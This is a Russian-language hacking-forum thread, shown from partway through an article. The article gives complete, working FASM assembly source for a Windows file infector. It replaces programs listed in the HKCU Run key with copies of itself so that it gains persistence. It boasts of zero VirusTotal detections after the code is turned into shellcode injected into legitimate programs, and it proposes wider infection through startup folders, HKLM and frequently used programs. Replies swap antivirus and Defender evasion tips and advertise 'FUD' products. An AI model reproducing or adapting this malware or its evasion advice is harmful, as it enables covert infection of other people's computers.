mov    ecx, esp


push    VALUEDATA_SIZE
push    esp
push    esi
push    infectedWith
push    0
push    ecx
push    edi
push    ebx
push    dword[hKey]
call    dword[RegEnumValue]
pop    ebp
add    esp, 4


test    eax, eax
jnz    .noMoreItems

1. Проверяем путь файла. В ebp у нас лежит длина значения ключа (путь к программе). По esi+ebp - мы читаем конец строки. Мы проверяем, чтобы программа была .exe, и чтобы у неё имя файла уже не заканчивалось с "_" - дабы не сломать алгоритм:
Код:
cmp    dword[esi+ebp-5], '.exe'
jne    .skip
cmp    dword[esi+ebp-6], '_'
je    .skip


(Генерируем новое название файла - подменяем последний символ на "_"):
Код:
push    edi
lea    edi, dword[esp+4+VALUEDATA_SIZE+VALUENAME_SIZE]
push    esi
mov    ecx, ebp
rep    movsb
pop    esi
mov    byte[edi-6], '_'
pop    edi

2. Изменяем название оригинального файла, подставляем в последний символ "_", и переименовываем (функция MoveFile):
Код:
lea    eax, dword[esp+VALUEDATA_SIZE+VALUENAME_SIZE]
push    eax
push    esi
call    dword[MoveFile]
cmp    eax, 1
jne    .skip


3. Получаем путь к самому себе (GetModuleFileName) и копируемся вместо оригинальной программы (CopyFile), под названием оригинальной программы:

Код:
sub    esp, 1024
mov    eax, esp
push    1024
push    eax
push    0
call    dword[GetModuleFileName]

mov    eax, esp
push    0
push    esi
push    eax
call    dword[CopyFile]
add    esp, 1024


4. Открываем нашу скопированную копию (CreateFile), устанавливаем позицию на переменную infectedWith (SetFilePointer) и записываем туда путь к оригинальной программе (WriteFile):
Код:
push    edi

push    0
push    0
push    OPEN_EXISTING
push    0
push    0
push    GENERIC_WRITE
push    esi
call    dword[CreateFile]
cmp    eax, INVALID_HANDLE_VALUE
je    .failedWrite
mov    edi, eax

push    FILE_BEGIN
push    0
lea    eax, dword[RVA infectedWith-0xE00]
push    eax
push    edi
call    dword[SetFilePointer]

push    0
push    0
push    ebp
push    esi
push    edi
call    dword[WriteFile]

push    edi
call    dword[CloseHandle]
.failedWrite:

pop    edi

.skip:
add    ebx, 1
jmp    .infectItems


.noMoreItems:
push    dword[hKey]
call    dword[RegCloseKey]


add    esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
.exit:
call    dword[ExitProcess]


5. Закрываем дескриптор на свою копию (CloseHandle)
6. Повторяем это со всеми ключами
По окончанию - выравниваем стек (на самом деле необязательно) и выходим (ExitProcess).

Код:
format    PE GUI at 0x400000 on '/dev/null'
entry    start
include    'win32a.inc'

VALUEDATA_SIZE = 1024
VALUENAME_SIZE = 256

section    '' readable writeable executable
   
    start:
        cmp    dword[infectedWith], 0
        je    .infect


        push    0
        call    @f
        db    'OLYMPO!', 0
        @@:
        call    @f
        db    'OLYMPO!', 0
        @@:
        push    0
        call    dword[MessageBox]


        push    SW_HIDE
        push    infectedWith
        call    dword[WinExec]

        jmp    .exit
        .infect:

        sub    esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
        mov    esi, esp
        lea    edi, dword[esp+VALUEDATA_SIZE]
        xor    ebx, ebx

        push    hKey
        push    KEY_READ
        push    0
        call    @f
        db    'Software\Microsoft\Windows\CurrentVersion\Run', 0
        @@:
        push    HKEY_CURRENT_USER
        call    dword[RegOpenKeyExA]
        test    eax, eax
        jnz    .exit

        .infectItems:
        push    VALUENAME_SIZE
        mov    ecx, esp

        push    VALUEDATA_SIZE
        push    esp
        push    esi
        push    infectedWith
        push    0
        push    ecx
        push    edi
        push    ebx
        push    dword[hKey]
        call    dword[RegEnumValue]
        pop    ebp
        add    esp, 4

        test    eax, eax
        jnz    .noMoreItems



        cmp    dword[esi+ebp-5], '.exe'
        jne    .skip
        cmp    dword[esi+ebp-6], '_'
        je    .skip

        push    edi
        lea    edi, dword[esp+4+VALUEDATA_SIZE+VALUENAME_SIZE]
        push    esi
        mov    ecx, ebp
        rep    movsb
        pop    esi
        mov    byte[edi-6], '_'
        pop    edi


        lea    eax, dword[esp+VALUEDATA_SIZE+VALUENAME_SIZE]
        push    eax
        push    esi
        call    dword[MoveFile]
        cmp    eax, 1
        jne    .skip

        sub    esp, 1024
        mov    eax, esp
        push    1024
        push    eax
        push    0
        call    dword[GetModuleFileName]


        mov    eax, esp
        push    0
        push    esi
        push    eax
        call    dword[CopyFile]
        add    esp, 1024



        push    edi

        push    0
        push    0
        push    OPEN_EXISTING
        push    0
        push    0
        push    GENERIC_WRITE
        push    esi
        call    dword[CreateFile]
        cmp    eax, INVALID_HANDLE_VALUE
        je    .failedWrite
        mov    edi, eax


        push    FILE_BEGIN
        push    0
        lea    eax, dword[RVA infectedWith-0xE00]
        push    eax
        push    edi
        call    dword[SetFilePointer]


        push    0
        push    0
        push    ebp
        push    esi
        push    edi
        call    dword[WriteFile]


        push    edi
        call    dword[CloseHandle]
        .failedWrite:

        pop    edi

        .skip:
        add    ebx, 1
        jmp    .infectItems

        .noMoreItems:

        push    dword[hKey]
        call    dword[RegCloseKey]



        add    esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
        .exit:
        call    dword[ExitProcess]

    hKey:        dd    0

    data    import

        library    kernel32, 'kernel32.dll',\
            advapi32, 'advapi32.dll',\
            user32, 'user32.dll'

        import    user32,\
            MessageBox, 'MessageBoxA'

        include    'api/advapi32.inc'
        include    'api/kernel32.inc'

    end    data



    infectedWith:

Вес нашего инфектора - 1.5 килобайта. Считаю, что это отличный результат:

gevQYyT.png



СКАНИРУЕМ НА VIRUSTOTAL

А теперь самое интересное - проверим, пропала ли метка "persistence" на VirusTotal. Проверяем свои образцы ИСКЛЮЧИТЕЛЬНО на VirusTotal, мы же не девочки :)
И видим следующее - метки "persistence" нет!


RTK80hu.png



lbZDBbv.png


Видим 18 обнаружений, но ничего. Немного поправим код - перепишем его на шеллкод и сделаем инъекицю внутрь легитимной программы.
Получаем 0 и отсутствие метки "persistence"! Идеальнейшая чистота. Ассемблер - СИЛА!


iw9rN2Y.png


ЗАКЛЮЧЕНИЕ

В заключение могу лишь добавить предложения по улучшению кода. Можно добавить также инфицирование внутри "shell:startup". А при наличии прав админа - можно также затронуть пути в HKEY_LOCAL_MACHINE. Также можно прочитать часто используемые программы, и заразить их. Всё это в сумме даст мощное закрепление на устройстве без триггеров антивирусов.
Спасибо за прочтение! Дайте знать, если Вам нравятся наши статьи.


OLYMP - лучшие FUD продукты :)
а на каком языке был написан инжектор?)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
а на каком языке был написан инжектор?)
Здравствуйте. Ни на каком, инжект проводится СТРОГО вручную.

Мы сначала внедряем бинарник шеллкода написанного на ассемблере через хекс-редактор. Затем открываем программу в отладчике, находим подходящее место, и патчим вызов внутренней функции на вызов шеллкода.
Ну, плюс немного магии - и получаем FUD. ;)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Сочувствую.


Я помню в начале 2010ых был один опередивший свое время господин, который просто напихивал 100мб мусора в экзешник, а потом хвастался, что его элитная малварь никем не палится. Похоже, действительно все новое - это хорошо забытое старое. Это все забавно, конечно, но иной раз по локальной сети пару мегабайт не прокачаешь, а тут, эх...


Ровно также, как и в Си, С++, Rust, D, да даже на C#. Рекомендуется к прочтению вашему драгоценному разработчику: https://xss.pro/threads/76417/


Вот с этими словами какой предметный разговор возможен? В определенный момент синдром Даннинга-Крюгера обычно проходит у людей, может быть, после этого предметный разговор будет возможен.

Завидовать некрасиво, особенно от лица модератора форума. Единственное, что ответить могу. ;)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Завидовать некрасиво, особенно от лица модератора форума
zhivotnye_lev_facepalm_2662.jpg
 
Здравствуйте. Ни на каком, инжект проводится СТРОГО вручную.

Мы сначала внедряем бинарник шеллкода написанного на ассемблере через хекс-редактор. Затем открываем программу в отладчике, находим подходящее место, и патчим вызов внутренней функции на вызов шеллкода.
Ну, плюс немного магии - и получаем FUD. ;)
Концепция хорошая
Но трудозатраты и время не окупается если результат только закреп
То же самое можно написать на с++ прогнать через clematis и будет тоже самое только в 10раз быстрей
Высокий порог входа основная проблема
Нужно придерживаться концепции "пишу на асемблере если без него уж никак"
Да и в целом можно просто загнать программу в автозагрузку на любом ВЫСОКОМ языке если рантайма нет то все ок. А wd не обнаруживает автозагрузку через реестр, проверенно.
Поэтому тоже самое можно написать на питоне и правильно скомпилить.
Тоже фуд будет и времени потрачено ровно 5мин
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Концепция хорошая
Но трудозатраты и время не окупается если результат только закреп
То же самое можно написать на с++ прогнать через clematis и будет тоже самое только в 10раз быстрей
Высокий порог входа основная проблема
Нужно придерживаться концепции "пишу на асемблере если без него уж никак"
Да и в целом можно просто загнать программу в автозагрузку на любом ВЫСОКОМ языке если рантайма нет то все ок. А wd не обнаруживает автозагрузку через реестр, проверенно.
Поэтому тоже самое можно написать на питоне и правильно скомпилить.
Тоже фуд будет и времени потрачено ровно 5мин

Увы, на Python FUD это точно не будет. Потому что сертификатов нет. И PyInstaller с Nuitka максимально грязнейшие стабы имеют. Вы с ним Defender никак не обойдёте - тоже проверено, уж поверьте)
Тоже самое про С\С++ и практически все другие языки (ну, кроме NodeJS). Стабы и кодогенераторы грязные, сертификатов нет, в целом - код легко прогоняется в облаке нейросетью и всё вываливается наружу. Впрочем, антивирус даже париться не будет с вашим файлом - сразу Wacatac\Wacapew повесит налегке.

В случае с ассемблером, как мы уже в статье сказали, проводится инъекция в ЛЕГАЛЬНЫЕ программы. От этого нейросеть напрягается - 99% легального и реально РАБОЧЕГО кода, а внутри наши 2 килобайтика вредоносных - так и обходим любой ML, мы это не скрываем (ну, потому что ассемблер, к счастью, пока мало кто осилить может, поэтому наши техники не воспроизвести).

Это всё легко проверить. Попытайтесь на досуге написать на С\С++ или Python такой код, который выдаст 0 на VT. Не получится у вас... Вот просто не получится и всё, можем поспорить)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх